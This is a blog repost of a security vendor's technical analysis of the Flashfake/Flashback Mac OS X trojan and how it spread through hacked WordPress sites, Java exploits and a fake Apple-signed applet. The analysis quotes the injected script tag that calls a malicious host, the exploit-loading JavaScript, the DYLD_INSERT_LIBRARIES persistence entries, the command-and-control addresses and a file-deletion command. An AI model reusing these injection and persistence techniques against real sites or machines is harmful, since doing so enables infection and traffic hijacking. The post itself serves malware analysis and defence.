Евгений Касперский (e_kaspersky) wrote,
Евгений Касперский
e_kaspersky

Categories:

Маканатомичка.

Всем привет!

Для посетителей этого блога – в особенности тех, кто не читает Securelist, не подписан на мой Твиттер и Фейсбук (да-да, там самое-самое важное дублируется!). Мы опубликовали, пожалуй, самый глубокий анализ Flashfake (Flashback) – того самого трояна, который недавно отметился созданием первого в истории Маковского ботнета. Да ещё какого ботнета – 700 тыс. машин! В общем, выкладываю сюда весь текст, а кому понравится – срочно подписывайтесь на Securelist.

Анатомия Flashfake. Часть I

Что такое Flashback/Flashfake?

Flashfake — это семейство вредоносных программ для Mac OSX. Первые варианты этих угроз были обнаружены в сентябре 2011 года. В марте 2012 Flashback заразил около 700 000 компьютеров по всему миру. Зараженные компьютеры объединены в ботнет, и злоумышленники могут устанавливать на них любые дополнительные вредоносные модули. Известно, что один из модулей занимается подменой трафика в браузере. Не исключено, что помимо перехвата и подмены трафика, преступники могут загружать на зараженные компьютеры и другие вредоносные модули — например для кражи данных или рассылки спама.

Нулевая стадия заражения: взломанные WordPress-блоги

С сентября 2011 до февраля 2012 года для распространения Flashfake использовалась только социальная инженерия: посетителям различных сайтов предлагалось загрузить поддельное обновление Adobe Flash Player. Таким образом, троянец распространялся в виде инсталляционных архивов с именами «FlashPlayer-11-macos.pkg», «AdobeFlashUpdate.pkg» и т.д.

Впервые применение эксплойтов для распространения Flashfake было обнаружено в феврале 2012 года: в ходе атак использовались эксплойты 2008 и 2011 годов. Эксплуатация уязвимости CVE2012-0507 впервые была отмечена в марте 2012 года. Тогда CVE2012-0507 представляла собой неисправленную уязвимость для Mac OSX, несмотря на то что компания Oracle уже выпустила собственный патч в феврале. Дело в том, что Apple не использует патчи от Oracle, и для исправления уязвимостей в Java готовит собственные. Соответствующий патч для Mac OSX, исправляющий уязвимость CVE2012-0507, был опубликован только в начале апреля.

И такая примерно двухмесячная задержка выпуска патчей является традиционной для Apple.
Название уязвимости Патч от Oracle Патч от Apple
CVE2008-5353 14.04.2009 15.06.2009
CVE2011-3544 18.10.2011 08.11.2011
CVE2012-0507 14.02.2012 03-12.04.2012

Для распространения Flashfake в марте 2012 года его авторы воспользовались услугами одной из киберкриминальных партнерских программ, предположительно российского происхождения.

«Партнерка» базируется на скрытых редиректах со множества легальных веб-сайтов по всему миру. Ориентировочно в конце февраля — начале марта 2012 года десятки тысяч сайтов, работающих под управлением WordPress, были взломаны. Каким образом они были взломаны, неизвестно. Основные версии — это использование владельцами блогов уязвимых версий WordPress и возможная установка ими плагина ToolsPack, являющегося бэкдором. Компания Websense оценивает число пострадавших сайтов в 30 000, по оценкам других компаний оно может достигать 100 000. Около 85% всех взломанных блогов находились в США.

В ходе взламывания блогов были осуществлены инжекты кода в главные страницы. В код добавлялись конструкции следующего вида:

<script src="http://имядомена.rr.nu/nl.php?p=d"></script>

В результате при посещении любого из взломанных сайтов происходило обращение к серверу-маршрутизатору партнерской программы, после чего, в зависимости от версии операционной системы и браузера, браузер пользователя скрытно перенаправлялся на другие сайты в доменной зоне rr.nu, на которых и были установлены соответствующие наборы эксплойтов для заражения.



Код сайта на WordPress с внедренной ссылкой на вредоносный скрипт

Первая стадия заражения: drive-by-download и социальная инженерия


В ходе скрытого перенаправления (пример: hxxp://ixeld52erlya.rr.nu/n.php?h=1&s=pmg) браузер обращался к каталогам /3f/ или /7f/ на вредоносном сайте и запускал на исполнение JavaScript с вызовом Java-апплета.

Пример одного из скриптов:

if(rts != "on"){
document.write('<applet archive="rh-3.jar" code="rhcls" width="1"
height="1"></applet>');
document.write('<applet archive="cl-3.jar" code="msf/x/AppletX"
width="1" height="1"></applet>');
}

Атака производилась путем попытки исполнения четырех Jar-файлов (приложения Java). Три из них представляли собой эксплойты уязвимостей в Java, еще один был сконструирован как легальное приложение, для обмана пользователя использовался метод социальной инженерии.

Использованные уязвимости:
Каждый Jar-файл содержит в себе эксплойт к соответствующей уязвимости и исполняемый вредоносный файл, который будет извлечен и установлен в систему.



Образец части кода эксплойта к CVE2008-5353



Образец части кода эксплойта к CVE2011-3544



Образец части кода эксплойта CVE2012-0507

Если использование эксплойтов оказывается безуспешным, то происходит попытка заражения системы при помощи специального Java-апплета, пытающегося выдать себя за легальный файл, подписанный компанией Apple, и получить от пользователя права на установку в систему.



Впервые подобная схема распространения Flashfake была обнаружена в феврале 2012 года.

Злоумышленники рассчитывают, что пользователь, увидев, что приложение подписано компанией Apple, согласится на предоставление прав для доступа в систему. На самом деле файл не содержит настоящей подписи Apple: использованный сертификат является поддельным и создан киберпреступниками самостоятельно.





Часть кода поддельного сертификата

Если пользователь согласится на предоставление прав доступа, то из апплета будет извлечен и установлен в систему вредоносный файл.



Образец части кода поддельного апплета

Таким образом, в результате выполнения в пользовательском браузере любого из вышеописанных апплетов (с уязвимостями или c выданными самим пользователем правами), в систему будет установлен файл-контейнер, представляющий собой загрузчик и установщик для последующих компонентов Flashfake.

Данный файл устанавливается и запускается по пути /tmp/.sysenter (при использовании эксплойта к уязвимости CVE2012-0507 имя файла генерируется произвольно).



Схематическое изображение первой стадии заражения

Вторая стадия заражения: загрузчик первого уровня

Установленный в систему файл представляет собой контейнер формата mach-o binary, содержащий внутри себя соответственно 32- и 64-битные модули практически с идентичным функционалом.

Основными функциями такого модуля является установка коммуникации с сервером управления 1-го уровня, загрузка оттуда дополнительных модулей и их установка в систему.
После окончания работы модуль самоудаляется и более в зараженной системе не присутствует.

При запуске модуль проверяет наличие установленного в системе приложения LittleSnitch (популярный файервол для Mac OSX), набора средств для разработки приложений OSX — XCode —и антивирусных приложений VirusBarrierX6.app, iAntiVirus.app, avast!.app, ClamXav.app, а также приложений HTTPScoop.app и Packet Peeper.app. Если данные приложения обнаружены, модуль завершает свою работу и самоудаляется.

В противном случае модуль соединяется с одним из серверов управления (например, 31.31.79.87, 78.46.139.211), куда передает UUID (уникальный идентификационный номер компьютера) и дополнительную информацию о системе (версия ОС), и в ответ получает для загрузки пакет, содержащий два дополнительных компонента, зашифрованных с привязкой к UUID компьютера.



Часть кода модуля. Видны названия проверяемых приложений и адрес сервера управления

После загрузки пакета модуль извлекает из него файлы-компоненты и пытается установить их в систему:



Схема работы Flashfake на данной стадии заражения


Первым компонентом является бэкдор-загрузчик. Именно он и является основным бот-модулем и отвечает за дальнейшее взаимодействие с ботнетом и загрузку обновлений.

Установщик копирует тело бэкдора в корневой раздел домашнего каталога пользователя $HOME/ под произвольным именем, начинающимся с точки, например .null.

Для обеспечения дальнейшей работы бэкдора установщик также создает файл .plist:



Пример .plist файла

Этот файл устанавливается в каталог $HOME/Library/LaunchAgents/. Тем самым, обеспечивается автоматическая загрузка модуля бэкдора при каждом запуске системы.



Схема работы Flashfake на данной стадии

Второй устанавливаемый из Сети компонент — модуль перехвата трафика и подмены страниц в браузере.

Процедура установки данного модуля значительно изменилась в последней версии установщика Flashfake, распространявшегося при помощи уязвимости CVE2012-0507. Мы опишем именно ее.



Часть кода установщика

Установщик вызывает системную функцию запроса администраторских привилегий, ожидая от пользователя ввода имени и рутового пароля.



Запрос прав

Если пользователь введет требуемые данные, то установщик получит возможность открыть на запись приложение браузера Safari.app (Applications/Safari.app/Contents/Resources/) и запишет в него модули: один отвечает за перехват трафика и подмену страниц, второй — за загрузку первого модуля в процессе браузера. Имена данных модулей выбираются произвольно, но все они начинаются с символа «точка» и оканчиваются расширениями .png и .xsl.

Для автоматического запуска модулей установщик модифицирует содержимое файла /Applications/Safari.app/Contents/Info.plist, добавляя в него следующие строки:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Safari.app/Contents/Resources/.имя_файла.xsl</string>
</dict>

В случае успешного выполнения этих действий установщик соединяется с центром управления по адресу, например 31.31.79.87/stat_d/, тем самым сообщая об успешной операции. В случае какого-либо сбоя при установке соединение произойдет с 31.31.79.87/stat_n/.

После завершения этих операций установщик перезапускает браузер Safari, чтобы изменения вступили в силу, и завершает свою работу, самоудаляясь из системы.

В случае если пользователь не введет пароль администратора и нажмет Cancel, установщик будет инсталлировать модули по другой схеме.

Сначала установщик проверяет наличие в системе приложений Microsoft Word.app, Microsoft Office 2008, Applications/Microsoft Office 2011, Skype.app. Если такие приложения обнаружены, установщик прекращает свою работу и самоудаляется.

Модуль перехвата и подмены трафика будет установлен в /Users/Shared/ с именем «.libgmalloc.dylib».

Перед этим установщик удаляет из данного каталога файлы по команде «rm -f /Users/Shared/.*.so». Данная операция удаления проводится, вероятно, для того чтобы удалить из системы предыдущие варианты Flashfake, если такие имелись.

Затем установщик создает файл $HOME/.MacOS/environment.plist, в который записывает следующие строки:

<key>DYLD_INSERT_LIBRARIES</key>
<string>/Users/Shared/.libgmalloc.dylib</string>

Это приведет к тому, что модуль будет «хукаться» и подгружаться при запуске во все приложения.

Еще один вспомогательный компонент будет установлен в пользовательский каталог $HOME/Library/Application Support/ с произвольным именем, начинающимся с точки и с расширением .tmp.




Схема работы Flashfake на этапе инсталляции модуля перехвата и подмены трафика

По завершении инсталляции установщик соединяется с центром управления по адресу 31.31.79.87/stat_u/, сообщая об успешном заражении. После этого установщик прекращает свою работу и самоудаляется.

Продолжение следует…


Tags: mac, malware
Subscribe

Recent Posts from This Journal

  • Post a new comment

    Error

    Anonymous comments are disabled in this journal

    default userpic

    Your IP address will be recorded 

  • 34 comments

Recent Posts from This Journal